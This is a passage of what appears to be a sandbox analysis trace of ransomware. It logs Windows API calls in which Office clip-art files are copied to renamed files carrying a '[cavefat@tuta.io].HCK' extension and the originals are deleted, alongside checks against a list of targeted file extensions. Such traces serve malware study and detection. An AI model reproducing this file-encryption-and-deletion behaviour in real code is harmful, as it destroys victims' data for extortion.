lpNewFilePointer=0x0) returned 1 [0232.575] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.575] GetLastError () returned 0x0 [0232.575] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x35d8, lpOverlapped=0x0) returned 1 [0232.577] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x35e0, lpOverlapped=0x0) returned 1 [0232.577] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.577] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.578] SetEndOfFile (hFile=0x4c0) returned 1 [0232.578] CloseHandle (hObject=0x4c0) returned 1 [0232.578] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.578] SetEndOfFile (hFile=0x4c4) returned 1 [0232.580] CloseHandle (hObject=0x4c4) returned 1 [0232.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString=".doc") returned 4 [0232.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString=".docx") returned 5 [0232.581] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.581] lstrlenW (lpString=".pdf") returned 4 [0232.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString=".xls") returned 4 [0232.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.581] lstrlenW (lpString=".xlsx") returned 5 [0232.581] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.581] lstrlenW (lpString=".ppt") returned 4 [0232.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString=".zip") returned 4 [0232.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.581] lstrlenW (lpString=".rar") returned 4 [0232.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString=".bz2") returned 4 [0232.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString=".7z") returned 3 [0232.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString=".dbf") returned 4 [0232.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString=".1cd") returned 4 [0232.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString=".jpg") returned 4 [0232.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.581] lstrlenW (lpString=".doc") returned 4 [0232.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString=".docx") returned 5 [0232.582] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.582] lstrlenW (lpString=".pdf") returned 4 [0232.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString=".xls") returned 4 [0232.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.582] lstrlenW (lpString=".xlsx") returned 5 [0232.582] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.582] lstrlenW (lpString=".ppt") returned 4 [0232.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.582] lstrlenW (lpString=".zip") returned 4 [0232.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.582] lstrlenW (lpString=".rar") returned 4 [0232.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString=".bz2") returned 4 [0232.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString=".7z") returned 3 [0232.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.582] lstrlenW (lpString=".dbf") returned 4 [0232.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.582] lstrlenW (lpString=".1cd") returned 4 [0232.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0232.582] lstrlenW (lpString=".jpg") returned 4 [0232.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.582] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.582] lstrlenW (lpString="J0107024.WMF") returned 12 [0232.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.701] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3020) returned 1 [0232.701] CloseHandle (hObject=0x4b0) returned 1 [0232.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0232.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.556] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.556] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0233.557] GetLastError () returned 0x0 [0233.557] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xbcc, lpOverlapped=0x0) returned 1 [0233.558] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0233.558] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.559] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.559] SetEndOfFile (hFile=0x4a0) returned 1 [0233.559] CloseHandle (hObject=0x4a0) returned 1 [0233.559] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.559] SetEndOfFile (hFile=0x4b4) returned 1 [0233.561] CloseHandle (hObject=0x4b4) returned 1 [0233.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0233.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.563] lstrlenW (lpString=".doc") returned 4 [0233.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.563] lstrlenW (lpString=".docx") returned 5 [0233.563] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.563] lstrlenW (lpString=".pdf") returned 4 [0233.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.563] lstrlenW (lpString=".xls") returned 4 [0233.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.563] lstrlenW (lpString=".xlsx") returned 5 [0233.563] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.563] lstrlenW (lpString=".ppt") returned 4 [0233.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.563] lstrlenW (lpString=".zip") returned 4 [0233.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.563] lstrlenW (lpString=".rar") returned 4 [0233.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.563] lstrlenW (lpString=".bz2") returned 4 [0233.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.563] lstrlenW (lpString=".7z") returned 3 [0233.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.563] lstrlenW (lpString=".dbf") returned 4 [0233.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".1cd") returned 4 [0233.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".jpg") returned 4 [0233.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".doc") returned 4 [0233.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString=".docx") returned 5 [0233.564] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.564] lstrlenW (lpString=".pdf") returned 4 [0233.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString=".xls") returned 4 [0233.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.564] lstrlenW (lpString=".xlsx") returned 5 [0233.564] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.564] lstrlenW (lpString=".ppt") returned 4 [0233.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".zip") returned 4 [0233.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.564] lstrlenW (lpString=".rar") returned 4 [0233.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString=".bz2") returned 4 [0233.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString=".7z") returned 3 [0233.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".dbf") returned 4 [0233.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".1cd") returned 4 [0233.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0233.564] lstrlenW (lpString=".jpg") returned 4 [0233.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.565] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.565] lstrlenW (lpString="J0107154.WMF") returned 12 [0233.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.566] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=22300) returned 1 [0233.566] CloseHandle (hObject=0x4b4) returned 1 [0233.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0233.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.567] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.567] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0233.568] GetLastError () returned 0x0 [0233.568] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x571c, lpOverlapped=0x0) returned 1 [0233.570] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x5720, lpOverlapped=0x0) returned 1 [0233.572] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.572] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.572] SetEndOfFile (hFile=0x4a0) returned 1 [0233.572] CloseHandle (hObject=0x4a0) returned 1 [0233.572] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.572] SetEndOfFile (hFile=0x4b4) returned 1 [0233.575] CloseHandle (hObject=0x4b4) returned 1 [0233.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0233.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.576] lstrlenW (lpString=".doc") returned 4 [0233.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.576] lstrlenW (lpString=".docx") returned 5 [0233.576] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.576] lstrlenW (lpString=".pdf") returned 4 [0233.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.576] lstrlenW (lpString=".xls") returned 4 [0233.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.576] lstrlenW (lpString=".xlsx") returned 5 [0233.576] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.576] lstrlenW (lpString=".ppt") returned 4 [0233.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.576] lstrlenW (lpString=".zip") returned 4 [0233.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.576] lstrlenW (lpString=".rar") returned 4 [0233.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.576] lstrlenW (lpString=".bz2") returned 4 [0233.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString=".7z") returned 3 [0233.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".dbf") returned 4 [0233.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".1cd") returned 4 [0233.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".jpg") returned 4 [0233.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".doc") returned 4 [0233.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString=".docx") returned 5 [0233.577] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.577] lstrlenW (lpString=".pdf") returned 4 [0233.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString=".xls") returned 4 [0233.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.577] lstrlenW (lpString=".xlsx") returned 5 [0233.577] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.577] lstrlenW (lpString=".ppt") returned 4 [0233.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".zip") returned 4 [0233.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.577] lstrlenW (lpString=".rar") returned 4 [0233.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString=".bz2") returned 4 [0233.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString=".7z") returned 3 [0233.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".dbf") returned 4 [0233.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".1cd") returned 4 [0233.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0233.577] lstrlenW (lpString=".jpg") returned 4 [0233.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.577] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.577] lstrlenW (lpString="J0107158.WMF") returned 12 [0233.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.578] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=24908) returned 1 [0233.578] CloseHandle (hObject=0x4b4) returned 1 [0233.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0233.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.579] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.579] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[cavefat@tuta.io].hck"), 